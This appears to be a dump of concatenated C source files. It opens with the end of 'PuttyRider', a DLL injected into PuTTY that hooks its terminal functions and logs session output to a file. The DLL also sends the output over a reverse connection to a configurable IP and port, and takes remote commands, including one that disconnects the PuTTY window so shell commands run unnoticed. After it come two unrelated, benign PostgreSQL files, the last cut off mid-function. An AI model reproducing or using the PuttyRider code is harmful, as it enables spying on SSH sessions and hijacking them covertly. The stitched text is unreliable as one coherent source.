/* First repair the original function code but
* ensure that we can reinstall the hook after its execution
*/
/* Save old EIP of original function to oldEIPTermData */
__asm mov oldEIPAddr, EBP;
oldEIPAddr += 1; /* oldEIPAddr += 1 * sizeof(int*) */
oldEIPTermData = (DWORD)*oldEIPAddr;
if (bEjectDLL == FALSE) {
/* Replace old EIP with a pointer to our code which will reinstall the hook */
*oldEIPAddr = (DWORD)ReinstallHookTermData;
}
/* Restore original function bytes in order to be usable */
for(i = 0; i < 9; i++) {
((UCHAR*)pTermData)[i] = termDataBytes[i];
}
/* Do something useful with the data */
if (len > 0) {
/* Send connection information first */
if (connInfoSent == FALSE) {
if (GetEstablishedConnOfPid(processID, &connInfo) == FALSE) {
sprintf(buffer, "[-] [%i] Could not get information about established connections\n", processID);
WritePipeMessage(logPipe, buffer);
} else {
IPv4ToString(connInfo.dwLocalAddr, ipAddr1, BUFSIZE);
sprintf(buffer, "[+] [%i] Local endpoint: %s:%i\n", processID, ipAddr1, ntohs(connInfo.dwLocalPort));
WritePipeMessage(logPipe, buffer);
if (strlen(logFileName) > 0) {
fwrite(buffer, strlen(buffer), 1, logFd);
}
if (gsock > 0) {
send(gsock, buffer, strlen(buffer), 0);
}
IPv4ToString(connInfo.dwRemoteAddr, ipAddr2, BUFSIZE);
sprintf(buffer, "[+] [%i] Remote endpoint: %s:%i\n", processID, ipAddr2, ntohs(connInfo.dwRemotePort));
WritePipeMessage(logPipe, buffer);
if (strlen(logFileName) > 0) {
fwrite(buffer, strlen(buffer), 1, logFd);
}
if (gsock > 0) {
send(gsock, buffer, strlen(buffer), 0);
}
}
connInfoSent = TRUE;
}
if (strlen(logFileName) > 0) {
fwrite(data, len, 1, logFd);
}
if (gsock > 0) {
send(gsock, data, len, 0);
}
sprintf(buffer, "[+] [%i] term_data(): ", processID);
if (len > BUFSIZE - 50) {
strncat(buffer, data, BUFSIZE - 50);
} else {
strncat(buffer, data, len);
}
strcat(buffer, "\n");
WritePipeMessage(logPipe, buffer);
/* Discard keyPressBuf because it is already echoed back by the server */
keyPressBuf[0] = 0;
}
if (outputDisabled == FALSE) {
if (bPuttyWindowConnected == TRUE) {
/* Call original function */
term_data = (INT(*)(VOID*, INT, CHAR*, INT))pTermData;
res = term_data(term, is_stderr, data, len);
} else {
res = 0;
}
} else {
/* Skip calling original term_data() outputDisabledCount times */
res = 0;
outputDisabledCount--;
if (outputDisabledCount == 0) {
EnablePuttyOutput();
}
}
return res;
}
DWORD WINAPI RunSocketThread(LPVOID lpParam)
{
SOCKET sock = (SOCKET)lpParam;
CHAR banner[BUFSIZE];
CHAR localbuf[BUFSIZE];
INT sockAvailableBytes;
BOOL bConnectionClosed = FALSE;
sprintf(banner, "\nPuttyRider v0.1\n===============\n\n");
sprintf(localbuf, "[+] [%i] Client connected. Putty PID=%i\n", processID, processID);
strcat(banner, localbuf);
sprintf(localbuf, "[+] [%i] Type !help for more commands\n", processID);
strcat(banner, localbuf);
send(sock, banner, strlen(banner), 0);
while (bEjectDLL == FALSE) {
Sleep(10);
sockAvailableBytes = recv(sock, localbuf, BUFSIZE-1, 0);
if (sockAvailableBytes == 0) {
bConnectionClosed = TRUE; /* Connection reset by peer */
break;
} else if (sockAvailableBytes == SOCKET_ERROR) {
if (WSAGetLastError() != WSAEWOULDBLOCK) {
bConnectionClosed = TRUE; /* Connection error */
break;
}
} else if (sockAvailableBytes > 0) {
/* Null-terminate the input data */
localbuf[sockAvailableBytes] = 0;
if (strstr(localbuf, "!help") != 0) {
sprintf(localbuf,"\
Help commands:\n\
!status See if the Putty window is connected to user input\n\
!discon Disconnect the main Putty window so it won't display any message\n\
This is useful to send shell commands without the user's notice\n\
!recon Reconnect the Putty window to its normal operation mode\n\
CMD Linux shell commands\n\
!exit Terminate this connection\n\
!help Display help for client connection\n\n", processID
);
send(sock, localbuf, strlen(localbuf), 0);
continue;
}
if (ldiscSendHandleParam == 0) {
/* If we do not have a valid handle, we simulate a key press in the Putty window
* This will trigger a call to ldisc_send(), from where we obtain a valid ldiscSendHandleParam
*/
PressPuttyKey(' ');
Sleep(200);
}
if (ldiscSendHandleParam == 0) {
/* The previous key press did not work or the Putty session is not actually open */
sprintf(localbuf, "[-] [%i] Could not interact with Putty (session not open or idle)\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else {
/* Check our commands */
if (strstr(localbuf, "!discon") != 0) {
bPuttyWindowConnected = FALSE;
sprintf(localbuf, "[+] [%i] Putty window disconnected\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else if (strstr(localbuf, "!recon") != 0) {
bPuttyWindowConnected = TRUE;
sprintf(localbuf, "[+] [%i] Putty window connected\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else if (strstr(localbuf, "!exit") != 0) {
sprintf(localbuf, "[+] [%i] Closing connection. Bye\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
break;
} else if (strstr(localbuf, "!status") != 0) {
if (bPuttyWindowConnected == TRUE) {
sprintf(localbuf, "[+] [%i] Putty window is connected (receives user input)\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else {
sprintf(localbuf, "[+] [%i] Putty window is not connected (does not receive user input)\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
}
} else {
if (bPuttyWindowConnected == TRUE) {
sprintf(localbuf, "[-] [%i] You must first disconnect the Putty window (!discon command)\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else {
LdiscSendHandler(ldiscSendHandleParam, localbuf, strlen(localbuf), 1);
}
}
}
}
}
closesocket(sock);
return 0;
}
HANDLE StartConnectBack()
{
WSADATA wsa;
SOCKET sock;
struct sockaddr_in serverInfo;
INT count = 0;
ULONG socketMode = 1; /* Non-blocking */
HANDLE hSocketThread;
if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) {
sprintf(buffer, "[+] [%i] WSAStartup failed\n", processID);
WritePipeMessage(logPipe, buffer);
return 0;
}
if((sock = socket(AF_INET , SOCK_STREAM , 0)) == INVALID_SOCKET) {
sprintf(buffer, "[+] [%i] Could not create socket\n", processID);
WritePipeMessage(logPipe, buffer);
return 0;
}
serverInfo.sin_addr.s_addr = inet_addr(connectBackIP);
serverInfo.sin_family = AF_INET;
serverInfo.sin_port = htons(connectBackPort);
sprintf(buffer, "[+] [%i] Connecting to %s:%i\n", processID, connectBackIP, connectBackPort);
WritePipeMessage(logPipe, buffer);
/* Try 5 times to connect back */
while (count++ < 5) {
if (connect(sock, (struct sockaddr *)&serverInfo, sizeof(serverInfo)) < 0) {
if (count < 5) {
sprintf(buffer, "[-] [%i] Could not create socket. Retrying...\n", processID);
} else {
sprintf(buffer, "[-] [%i] Could not create socket. \n", processID);
}
WritePipeMessage(logPipe, buffer);
Sleep(1000);
continue;
}
break;
}
if (count == 6) {
sprintf(buffer, "[-] [%i] Reverse connection failed\n", processID);
WritePipeMessage(logPipe, buffer);
closesocket(sock);
return 0;
}
sprintf(buffer, "[+] [%i] Reverse connection succeeded\n", processID, sock);
WritePipeMessage(logPipe, buffer);
gsock = sock;
ioctlsocket(sock, FIONBIO, &socketMode);
/* Start the socket thread */
hSocketThread = CreateThread(NULL, 0, RunSocketThread, (VOID*)sock, 0, NULL);
if (hSocketThread == NULL) {
sprintf(buffer, "[-] [%i] Error creating socket thread\n", processID);
WritePipeMessage(logPipe, buffer);
closesocket(sock);
return 0;
}
return hSocketThread;
}
VOID Start()
{
HANDLE hSocketThread;
HMODULE hModule;
CHAR* pos;
processID = GetCurrentProcessId();
/* Connect to pipe for sending log messages to main process */
logPipe = CreateFile("\\\\.\\pipe\\pr_log", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
/* if logPipe == INVALID_HANDLE_VALUE, WritePipeMessage will fail silently */
if (FindTargetFunctions(&pLdiscSend, &pTermData) == FALSE) {
/* Here we exit also if the DLL was loaded in another process than Putty.exe */
CloseHandle(logPipe);
return;
}
sprintf(buffer, "[+] [%i] ldisc_send() found at: %08x\n", processID, pLdiscSend);
WritePipeMessage(logPipe, buffer);
sprintf(buffer, "[+] [%i] term_data() found at: %08x\n", processID, pTermData);
WritePipeMessage(logPipe, buffer);
/* Create the log file if it was requested */
if (strlen(logFileName) > 0) {
/* Remove the pid if it already exists in the file name */
pos = strstr(logFileName, ".log.");
if (pos != NULL) {
*(pos+4) = 0;
}
/* Append .pid to the log file name because multiple Putty processes might be hooked */
if (strlen(logFileName) < MAX_PATH - 7) {
sprintf(buffer, ".%i", processID);
strcat(logFileName, buffer);
}
if ((logFd = fopen(logFileName, "w")) == NULL) {
sprintf(buffer, "[-] [%i] Failed creating log file %s\n", processID, logFileName);
WritePipeMessage(logPipe, buffer);
} else {
sprintf(buffer, "[+] [%i] Log file created: %s\n", processID, logFileName);
WritePipeMessage(logPipe, buffer);
}
}
if (strlen(defaultCmd) > 0) {
sprintf(buffer, "[+] [%i] Default command to execute: %s\n", processID, defaultCmd);
WritePipeMessage(logPipe, buffer);
}
/* Initiate the connect back session */
if (connectBackPort > 0) {
hSocketThread = StartConnectBack();
if (hSocketThread == 0 && strlen(logFileName) == 0) {
sprintf(buffer, "[-] [%i] No output method available\n", processID);
WritePipeMessage(logPipe, buffer);
/* We should eject the DLL here */
}
}
/* Clear the buffer containing user input */
keyPressBuf[0] = 0;
/* Install the hooks on the target functions */
if (InstallHooks() == FALSE) {
sprintf(buffer, "[-] [%i] %s\n", processID, "InstallHooks failed. Quitting\n");
WritePipeMessage(logPipe, buffer);
CloseHandle(logPipe);
return;
}
sprintf(buffer, "[+] [%i] %s\n", processID, "Function hooks installed successfully");
WritePipeMessage(logPipe, buffer);
/* Force Putty to execute ldisc_send() function in order to execute the default command */
if (strlen(defaultCmd) > 0) {
PressPuttyKey('^');
}
/* Signal the injector thread that it can exit */
sprintf(buffer, "!consoledetach ");
WritePipeMessage(logPipe, buffer);
}
__declspec(dllexport) VOID SetLogFileName(UCHAR* fileName)
{
strncpy(logFileName, fileName, MAX_PATH);
}
__declspec(dllexport) VOID SetDefaultCmd(UCHAR* cmd)
{
strncpy(defaultCmd, cmd, MAX_PATH);
}
__declspec(dllexport) VOID SetConnectBackInfo(CHAR* ip, DWORD port)
{
sprintf(connectBackIP, ip);
connectBackPort = port;
}
__declspec(dllexport) BOOL EjectDLL(UINT dummy)
{
/* TODO: Add module name as parameter */
HMODULE hModule = NULL;
UCHAR buf[BUFSIZE];
INT i;
/* Signal the hooked functions to unhook */
bEjectDLL = TRUE;
/* Wait a few milliseconds for the hooked functions to unhook themselves (bEjectDLL = TRUE) */
/* The RunSocketThread function should exit also */
Sleep(500);
/* Restore original function bytes in order to be usable */
for(i = 0; i < 9; i++) {
((UCHAR*)pLdiscSend)[i] = ldiscSendBytes[i];
}
for(i = 0; i < 9; i++) {
((UCHAR*)pTermData)[i] = termDataBytes[i];
}
hModule = GetModuleHandle("PuttyRider.dll");
if (hModule != NULL) {
FreeLibraryAndExitThread(hModule, 0);
}
return TRUE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
Start();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
|
smatsudajp/jpug-doc | src/backend/access/rmgrdesc/spgdesc.c | /*-------------------------------------------------------------------------
*
* spgdesc.c
* rmgr descriptor routines for access/spgist/spgxlog.c
*
* Portions Copyright (c) 1996-2014, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
*
* IDENTIFICATION
* src/backend/access/rmgrdesc/spgdesc.c
*
*-------------------------------------------------------------------------
*/
#include "postgres.h"
#include "access/spgist_private.h"
void
spg_desc(StringInfo buf, XLogReaderState *record)
{
char *rec = XLogRecGetData(record);
uint8 info = XLogRecGetInfo(record) & ~XLR_INFO_MASK;
switch (info)
{
case XLOG_SPGIST_CREATE_INDEX:
break;
case XLOG_SPGIST_ADD_LEAF:
{
spgxlogAddLeaf *xlrec = (spgxlogAddLeaf *) rec;
appendStringInfo(buf, "add leaf to page");
appendStringInfo(buf, "; off %u; headoff %u; parentoff %u",
xlrec->offnumLeaf, xlrec->offnumHeadLeaf,
xlrec->offnumParent);
if (xlrec->newPage)
appendStringInfo(buf, " (newpage)");
if (xlrec->storesNulls)
appendStringInfo(buf, " (nulls)");
}
break;
case XLOG_SPGIST_MOVE_LEAFS:
appendStringInfo(buf, "%u leafs",
((spgxlogMoveLeafs *) rec)->nMoves);
break;
case XLOG_SPGIST_ADD_NODE:
appendStringInfo(buf, "off %u",
((spgxlogAddNode *) rec)->offnum);
break;
case XLOG_SPGIST_SPLIT_TUPLE:
appendStringInfo(buf, "prefix off: %u, postfix off: %u (same %d, new %d)",
((spgxlogSplitTuple *) rec)->offnumPrefix,
((spgxlogSplitTuple *) rec)->offnumPostfix,
((spgxlogSplitTuple *) rec)->postfixBlkSame,
((spgxlogSplitTuple *) rec)->newPage
);
break;
case XLOG_SPGIST_PICKSPLIT:
{
spgxlogPickSplit *xlrec = (spgxlogPickSplit *) rec;
appendStringInfo(buf, "ndel %u; nins %u",
xlrec->nDelete, xlrec->nInsert);
if (xlrec->innerIsParent)
appendStringInfo(buf, " (innerIsParent)");
if (xlrec->isRootSplit)
appendStringInfo(buf, " (isRootSplit)");
}
break;
case XLOG_SPGIST_VACUUM_LEAF:
/* no further information */
break;
case XLOG_SPGIST_VACUUM_ROOT:
/* no further information */
break;
case XLOG_SPGIST_VACUUM_REDIRECT:
appendStringInfo(buf, "newest XID %u",
((spgxlogVacuumRedirect *) rec)->newestRedirectXid);
break;
}
}
const char *
spg_identify(uint8 info)
{
const char *id = NULL;
switch (info & ~XLR_INFO_MASK)
{
case XLOG_SPGIST_CREATE_INDEX:
id = "CREATE_INDEX";
break;
case XLOG_SPGIST_ADD_LEAF:
id = "ADD_LEAF";
break;
case XLOG_SPGIST_MOVE_LEAFS:
id = "MOVE_LEAFS";
break;
case XLOG_SPGIST_ADD_NODE:
id = "ADD_NODE";
break;
case XLOG_SPGIST_SPLIT_TUPLE:
id = "SPLIT_TUPLE";
break;
case XLOG_SPGIST_PICKSPLIT:
id = "PICKSPLIT";
break;
case XLOG_SPGIST_VACUUM_LEAF:
id = "VACUUM_LEAF";
break;
case XLOG_SPGIST_VACUUM_ROOT:
id = "VACUUM_ROOT";
break;
case XLOG_SPGIST_VACUUM_REDIRECT:
id = "VACUUM_REDIRECT";
break;
}
return id;
}
|
smatsudajp/jpug-doc | src/backend/utils/adt/array_typanalyze.c | <filename>src/backend/utils/adt/array_typanalyze.c<gh_stars>0
/*-------------------------------------------------------------------------
*
* array_typanalyze.c
* Functions for gathering statistics from array columns
*
* Portions Copyright (c) 1996-2014, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
*
* IDENTIFICATION
* src/backend/utils/adt/array_typanalyze.c
*
*-------------------------------------------------------------------------
*/
#include "postgres.h"
#include "access/tuptoaster.h"
#include "catalog/pg_collation.h"
#include "commands/vacuum.h"
#include "utils/array.h"
#include "utils/datum.h"
#include "utils/lsyscache.h"
#include "utils/typcache.h"
/*
* To avoid consuming too much memory, IO and CPU load during analysis, and/or
* too much space in the resulting pg_statistic rows, we ignore arrays that
* are wider than ARRAY_WIDTH_THRESHOLD (after detoasting!). Note that this
* number is considerably more than the similar WIDTH_THRESHOLD limit used
* in analyze.c's standard typanalyze code.
*/
#define ARRAY_WIDTH_THRESHOLD 0x10000
/* Extra data for compute_array_stats function */
typedef struct
{
/* Information about array element type */
Oid type_id; /* element type's OID */
Oid eq_opr; /* default equality operator's OID */
bool typbyval; /* physical properties of element type */
int16 typlen;
char typalign;
/*
* Lookup data for element type's comparison and hash functions (these are
* in the type's typcache entry, which we expect to remain valid over the
* lifespan of the ANALYZE run)
*/
FmgrInfo *cmp;
FmgrInfo *hash;
/* Saved state from std_typanalyze() */
AnalyzeAttrComputeStatsFunc std_compute_stats;
void *std_extra_data;
} ArrayAnalyzeExtraData;
/*
* While compute_array_stats is running, we keep a pointer to the extra data
* here for use by assorted subroutines. compute_array_stats doesn't
* currently need to be re-entrant, so avoiding this is not worth the extra
* notational cruft that would be needed.
*/
static ArrayAnalyzeExtraData *array_extra_data;
/* A hash table entry for the Lossy Counting algorithm */
typedef struct
{
Datum key; /* This is 'e' from the LC algorithm. */
int frequency; /* This is 'f'. */
int delta; /* And this is 'delta'. */
int last_container; /* For de-duplication of array elements. */
} TrackItem;
/* A hash table entry for distinct-elements counts */
typedef struct
{
int count; /* Count of distinct elements in an array */
int frequency; /* Number of arrays seen with this count */
} DECountItem;
static void compute_array_stats(VacAttrStats *stats,
AnalyzeAttrFetchFunc fetchfunc, int samplerows, double totalrows);
static void prune_element_hashtable(HTAB *elements_tab, int b_current);
static uint32 element_hash(const void *key, Size keysize);
static int element_match(const void *key1, const void *key2, Size keysize);
static int element_compare(const void *key1, const void *key2);
static int trackitem_compare_frequencies_desc(const void *e1, const void *e2);
static int trackitem_compare_element(const void *e1, const void *e2);
static int countitem_compare_count(const void *e1, const void *e2);
/*
* array_typanalyze -- typanalyze function for array columns
*/
Datum
array_typanalyze(PG_FUNCTION_ARGS)
{
VacAttrStats *stats = (VacAttrStats *) PG_GETARG_POINTER(0);
Oid element_typeid;
TypeCacheEntry *typentry;
ArrayAnalyzeExtraData *extra_data;
/*
* Call the standard typanalyze function. It may fail to find needed
* operators, in which case we also can't do anything, so just fail.
*/
if (!std_typanalyze(stats))
PG_RETURN_BOOL(false);
/*
* Check attribute data type is a varlena array (or a domain over one).
*/
element_typeid = get_base_element_type(stats->attrtypid);
if (!OidIsValid(element_typeid))
elog(ERROR, "array_typanalyze was invoked for non-array type %u",
stats->attrtypid);
/*
* Gather information about the element type. If we fail to find
* something, return leaving the state from std_typanalyze() in place.
*/
typentry = lookup_type_cache(element_typeid,
TYPECACHE_EQ_OPR |
TYPECACHE_CMP_PROC_FINFO |
TYPECACHE_HASH_PROC_FINFO);
if (!OidIsValid(typentry->eq_opr) ||
!OidIsValid(typentry->cmp_proc_finfo.fn_oid) ||
!OidIsValid(typentry->hash_proc_finfo.fn_oid))
PG_RETURN_BOOL(true);
/* Store our findings for use by compute_array_stats() */
extra_data = (ArrayAnalyzeExtraData *) palloc(sizeof(ArrayAnalyzeExtraData));
extra_data->type_id = typentry->type_id;
extra_data->eq_opr = typentry->eq_opr;
extra_data->typbyval = typentry->typbyval;
extra_data->typlen = typentry->typlen;
extra_data->typalign = typentry->typalign;
extra_data->cmp = &typentry->cmp_proc_finfo;
extra_data->hash = &typentry->hash_proc_finfo;
/* Save old compute_stats and extra_data for scalar statistics ... */
extra_data->std_compute_stats = stats->compute_stats;
extra_data->std_extra_data = stats->extra_data;
/* ... and replace with our info */
stats->compute_stats = compute_array_stats;
stats->extra_data = extra_data;
/*
* Note we leave stats->minrows set as std_typanalyze set it. Should it
* be increased for array analysis purposes?
*/
PG_RETURN_BOOL(true);
}
/*
* compute_array_stats() -- compute statistics for a array column
*
* This function computes statistics useful for determining selectivity of
* the array operators <@, &&, and @>. It is invoked by ANALYZE via the
* compute_stats hook after sample rows have been collected.
*
* We also invoke the standard compute_stats function, which will compute
* "scalar" statistics relevant to the btree-style array comparison operators.
* However, exact duplicates of an entire array may be rare despite many
* arrays sharing individual elements. This especially afflicts long arrays,
* which are also liable to lack all scalar statistics due to the low
* WIDTH_THRESHOLD used in analyze.c. So, in addition to the standard stats,
* we find the most common array elements and compute a histogram of distinct
* element counts.
*
* The algorithm used is Lossy Counting, as proposed in the paper "Approximate
* frequency counts over data streams" by <NAME> and <NAME>, in
* Proceedings of the 28th International Conference on Very Large Data Bases,
* Hong Kong, China, August 2002, section 4.2. The paper is available at
* http://www.vldb.org/conf/2002/S10P03.pdf
*
* The Lossy Counting (aka LC) algorithm goes like this:
* Let s be the threshold frequency for an item (the minimum frequency we
* are interested in) and epsilon the error margin for the frequency. Let D
* be a set of triples (e, f, delta), where e is an element value, f is that
* element's frequency (actually, its current occurrence count) and delta is
* the maximum error in f. We start with D empty and process the elements in
* batches of size w. (The batch size is also known as "bucket size" and is
* equal to 1/epsilon.) Let the current batch number be b_current, starting
* with 1. For each element e we either increment its f count, if it's
* already in D, or insert a new triple into D with values (e, 1, b_current
* - 1). After processing each batch we prune D, by removing from it all
* elements with f + delta <= b_current. After the algorithm finishes we
* suppress all elements from D that do not satisfy f >= (s - epsilon) * N,
* where N is the total number of elements in the input. We emit the
* remaining elements with estimated frequency f/N. The LC paper proves
* that this algorithm finds all elements with true frequency at least s,
* and that no frequency is overestimated or is underestimated by more than
* epsilon. Furthermore, given reasonable assumptions about the input
* distribution, the required table size is no more than about 7 times w.
*
* In the absence of a principled basis for other particular values, we
* follow ts_typanalyze() and use parameters s = 0.07/K, epsilon = s/10.
* But we leave out the correction for stopwords, which do not apply to
* arrays. These parameters give bucket width w = K/0.007 and maximum
* expected hashtable size of about 1000 * K.
*
* Elements may repeat within an array. Since duplicates do not change the
* behavior of <@, && or @>, we want to count each element only once per
* array. Therefore, we store in the finished pg_statistic entry each
* element's frequency as the fraction of all non-null rows that contain it.
* We divide the raw counts by nonnull_cnt to get those figures.
*/
static void
compute_array_stats(VacAttrStats *stats, AnalyzeAttrFetchFunc fetchfunc,
int samplerows, double totalrows)
{
ArrayAnalyzeExtraData *extra_data;
int num_mcelem;
int null_cnt = 0;
int null_elem_cnt = 0;
int analyzed_rows = 0;
/* This is D from the LC algorithm. */
HTAB *elements_tab;
HASHCTL elem_hash_ctl;
HASH_SEQ_STATUS scan_status;
/* This is the current bucket number from the LC algorithm */
int b_current;
/* This is 'w' from the LC algorithm */
int bucket_width;
int array_no;
int64 element_no;
TrackItem *item;
int slot_idx;
HTAB *count_tab;
HASHCTL count_hash_ctl;
DECountItem *count_item;
extra_data = (ArrayAnalyzeExtraData *) stats->extra_data;
/*
* Invoke analyze.c's standard analysis function to create scalar-style
* stats for the column. It will expect its own extra_data pointer, so
* temporarily install that.
*/
stats->extra_data = extra_data->std_extra_data;
(*extra_data->std_compute_stats) (stats, fetchfunc, samplerows, totalrows);
stats->extra_data = extra_data;
/*
* Set up static pointer for use by subroutines. We wait till here in
* case std_compute_stats somehow recursively invokes us (probably not
* possible, but ...)
*/
array_extra_data = extra_data;
/*
* We want statistics_target * 10 elements in the MCELEM array. This
* multiplier is pretty arbitrary, but is meant to reflect the fact that
* the number of individual elements tracked in pg_statistic ought to be
* more than the number of values for a simple scalar column.
*/
num_mcelem = stats->attr->attstattarget * 10;
/*
* We set bucket width equal to num_mcelem / 0.007 as per the comment
* above.
*/
bucket_width = num_mcelem * 1000 / 7;
/*
* Create the hashtable. It will be in local memory, so we don't need to
* worry about overflowing the initial size. Also we don't need to pay any
* attention to locking and memory management.
*/
MemSet(&elem_hash_ctl, 0, sizeof(elem_hash_ctl));
elem_hash_ctl.keysize = sizeof(Datum);
elem_hash_ctl.entrysize = sizeof(TrackItem);
elem_hash_ctl.hash = element_hash;
elem_hash_ctl.match = element_match;
elem_hash_ctl.hcxt = CurrentMemoryContext;
elements_tab = hash_create("Analyzed elements table",
num_mcelem,
&elem_hash_ctl,
HASH_ELEM | HASH_FUNCTION | HASH_COMPARE | HASH_CONTEXT);
/* hashtable for array distinct elements counts */
MemSet(&count_hash_ctl, 0, sizeof(count_hash_ctl));
count_hash_ctl.keysize = sizeof(int);
count_hash_ctl.entrysize = sizeof(DECountItem);
count_hash_ctl.hcxt = CurrentMemoryContext;
count_tab = hash_create("Array distinct element count table",
64,
&count_hash_ctl,
HASH_ELEM | HASH_BLOBS | HASH_CONTEXT);
/* Initialize counters. */
b_current = 1;
element_no = 0;
/* Loop over the arrays. */
for (array_no = 0; array_no < samplerows; array_no++)
{
Datum value;
bool isnull;
ArrayType *array;
int num_elems;
Datum *elem_values;
bool *elem_nulls;
bool null_present;
int j;
int64 prev_element_no = element_no;
int distinct_count;
bool count_item_found;
vacuum_delay_point();
value = fetchfunc(stats, array_no, &isnull);
if (isnull)
{
/* array is null, just count that */
null_cnt++;
continue;
}
/* Skip too-large values. */
if (toast_raw_datum_size(value) > ARRAY_WIDTH_THRESHOLD)
continue;
else
analyzed_rows++;
/*
* Now detoast the array if needed, and deconstruct into datums.
*/
array = DatumGetArrayTypeP(value);
Assert(ARR_ELEMTYPE(array) == extra_data->type_id);
deconstruct_array(array,
extra_data->type_id,
extra_data->typlen,
extra_data->typbyval,
extra_data->typalign,
&elem_values, &elem_nulls, &num_elems);
/*
* We loop through the elements in the array and add them to our
* tracking hashtable.
*/
null_present = false;
for (j = 0; j < num_elems; j++)
{
Datum elem_value;
bool found;
/* No null element processing other than flag setting here */
if (elem_nulls[j])
{
null_present = true;
continue;
}
/* Lookup current element in hashtable, adding it if new */
elem_value = elem_values[j];
item = (TrackItem *) hash_search(elements_tab,
(const void *) &elem_value,
HASH_ENTER, &found);
if (found)
{
/* The element value is already on the tracking list */
/*
* The operators we assist ignore duplicate array elements, so
* count a given distinct element only once per array.
*/
if (item->last_container == array_no)
continue;
item->frequency++;
item->last_container = array_no;
}
else
{
/* Initialize new tracking list element */
/*
* If element type is pass-by-reference, we must copy it into
* palloc'd space, so that we can release the array below. (We
* do this so that the space needed for element values is
* limited by the size of the hashtable; if we kept all the
* array values around, it could be much more.)
*/
item->key = datumCopy(elem_value,
extra_data->typbyval,
extra_data->typlen);
item->frequency = 1;
item->delta = b_current - 1;
item->last_container = array_no;
}
/* element_no is the number of elements processed (ie N) */
element_no++;
/* We prune the D structure after processing each bucket */
if (element_no % bucket_width == 0)
{
prune_element_hashtable(elements_tab, b_current);
b_current++;
}
}
/* Count null element presence once per array. */
if (null_present)
null_elem_cnt++;
/* Update frequency of the particular array distinct element count. */
distinct_count = (int) (element_no - prev_element_no);
count_item = (DECountItem *) hash_search(count_tab, &distinct_count,
HASH_ENTER,
&count_item_found);
if (count_item_found)
count_item->frequency++;
else
count_item->frequency = 1;
/* Free memory allocated while detoasting. */
if (PointerGetDatum(array) != value)
pfree(array);
pfree(elem_values);
pfree(elem_nulls);
}
/* Skip pg_statistic slots occupied by standard statistics */
slot_idx = 0;
while (slot_idx < STATISTIC_NUM_SLOTS && stats->stakind[slot_idx] != 0)
slot_idx++;
if (slot_idx > STATISTIC_NUM_SLOTS - 2)
elog(ERROR, "insufficient pg_statistic slots for array stats");
/* We can only compute real stats if we found some non-null values. */
if (analyzed_rows > 0)
{
int nonnull_cnt = analyzed_rows;
int count_items_count;
int i;
TrackItem **sort_table;
int track_len;
int64 cutoff_freq;
int64 minfreq,
maxfreq;
/*
* We assume the standard stats code already took care of setting
* stats_valid, stanullfrac, stawidth, stadistinct. We'd have to
* re-compute those values if we wanted to not store the standard
* stats.
*/
/*
* Construct an array of the interesting hashtable items, that is,
* those meeting the cutoff frequency (s - epsilon)*N. Also identify
* the minimum and maximum frequencies among these items.
*
* Since epsilon = s/10 and bucket_width = 1/epsilon, the cutoff
* frequency is 9*N / bucket_width.
*/
cutoff_freq = 9 * element_no / bucket_width;
i = hash_get_num_entries(elements_tab); /* surely enough space */
sort_table = (TrackItem **) palloc(sizeof(TrackItem *) * i);
hash_seq_init(&scan_status, elements_tab);
track_len = 0;
minfreq = element_no;
maxfreq = 0;
while ((item = (TrackItem *) hash_seq_search(&scan_status)) != NULL)
{
if (item->frequency > cutoff_freq)
{
sort_table[track_len++] = item;
minfreq = Min(minfreq, item->frequency);
maxfreq = Max(maxfreq, item->frequency);
}
}
Assert(track_len <= i);
/* emit some statistics for debug purposes */
elog(DEBUG3, "compute_array_stats: target # mces = %d, "
"bucket width = %d, "
"# elements = " INT64_FORMAT ", hashtable size = %d, "
"usable entries = %d",
num_mcelem, bucket_width, element_no, i, track_len);
/*
* If we obtained more elements than we really want, get rid of those
* with least frequencies. The easiest way is to qsort the array into
* descending frequency order and truncate the array.
*/
if (num_mcelem < track_len)
{
qsort(sort_table, track_len, sizeof(TrackItem *),
trackitem_compare_frequencies_desc);
/* reset minfreq to the smallest frequency we're keeping */
minfreq = sort_table[num_mcelem - 1]->frequency;
}
else
num_mcelem = track_len;
/* Generate MCELEM slot entry */
if (num_mcelem > 0)
{
MemoryContext old_context;
Datum *mcelem_values;
float4 *mcelem_freqs;
/*
* We want to store statistics sorted on the element value using
* the element type's default comparison function. This permits
* fast binary searches in selectivity estimation functions.
*/
qsort(sort_table, num_mcelem, sizeof(TrackItem *),
trackitem_compare_element);
/* Must copy the target values into anl_context */
old_context = MemoryContextSwitchTo(stats->anl_context);
/*
* We sorted statistics on the element value, but we want to be
* able to find the minimal and maximal frequencies without going
* through all the values. We also want the frequency of null
* elements. Store these three values at the end of mcelem_freqs.
*/
mcelem_values = (Datum *) palloc(num_mcelem * sizeof(Datum));
mcelem_freqs = (float4 *) palloc((num_mcelem + 3) * sizeof(float4));
/*
* See comments above about use of nonnull_cnt as the divisor for
* the final frequency estimates.
*/
for (i = 0; i < num_mcelem; i++)
{
TrackItem *item = sort_table[i];
mcelem_values[i] = datumCopy(item->key,
extra_data->typbyval,
extra_data->typlen);
mcelem_freqs[i] = (double) item->frequency /
(double) nonnull_cnt;
}
mcelem_freqs[i++] = (double) minfreq / (double) nonnull_cnt;
mcelem_freqs[i++] = (double) maxfreq / (double) nonnull_cnt;
mcelem_freqs[i++] = (double) null_elem_cnt / (double) nonnull_cnt;
MemoryContextSwitchTo(old_context);
stats->stakind[slot_idx] = STATISTIC_KIND_MCELEM;
stats->staop[slot_idx] = extra_data->eq_opr;
stats->stanumbers[slot_idx] = mcelem_freqs;
/* See above comment about extra stanumber entries */
stats->numnumbers[slot_idx] = num_mcelem + 3;
stats->stavalues[slot_idx] = mcelem_values;
